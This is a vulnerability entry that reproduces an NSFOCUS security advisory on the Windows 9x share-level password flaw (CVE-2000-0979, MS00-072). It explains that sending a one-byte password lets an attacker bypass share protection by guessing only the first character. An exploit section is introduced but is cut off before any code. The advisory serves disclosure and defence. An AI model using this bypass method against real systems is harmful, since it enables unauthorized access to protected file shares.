Title:Microsoft Windows 9x共享密码校验漏洞(MS00-072) (CVE-2000-0979)
Description:File and Print Sharing service in Windows 95, Windows 98, and Windows Me does not properly check the password for a file share, which allows remote attackers to bypass share access controls by sending a 1-byte password that matches the first character of the real password, aka the "Share Level Password" vulnerability.

Original advisory
==================

NSFOCUS Security Advisory(SA2000-05)

Topic: Microsoft Windows 9x NETBIOS password verification vulnerability

Release Date: August 24, 2000
Update  Date: Oct 11 , 2000

Affected System
================
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows 98 Second Edition
- Microsoft Windows Me

Non-affected System
====================
- Microsoft Windows NT 4.0
- Microsoft Windows 2000

Impact
==========

A vulnerability exists in the password verification scheme utilized by Microsoft
Windows 9x NETBIOS protocol implementation. This vulnerability will allow any
user to access the Windows 9x file shared service with password protection.
Attacker don't have to know the share password.

Description
=============

You can set password to protect Microsoft Windows 9x system's shared resources.
But a vulnerability exists in the password verification scheme utilized by
Microsoft Windows 9x NETBIOS protocol implementation. To verify the password,
the length of the password depends on the length of the data sent from client to
server. That is, if a client set the length of password to be one byte and send
the packet with plaintext password to server, the server will only compare it
with the first byte of the shared password(plaintext), and if consistent,
verification process is done. All an attacker need to do is to guess and try the
first byte of password in the victim .
Windows 9x remote management system is also affected cause it adopts the same
shared password authentication method.

Exploit
=========

Here is one simple example to demonstrate this bug.
Get samba source package and modify source/client/client.c like this:
```
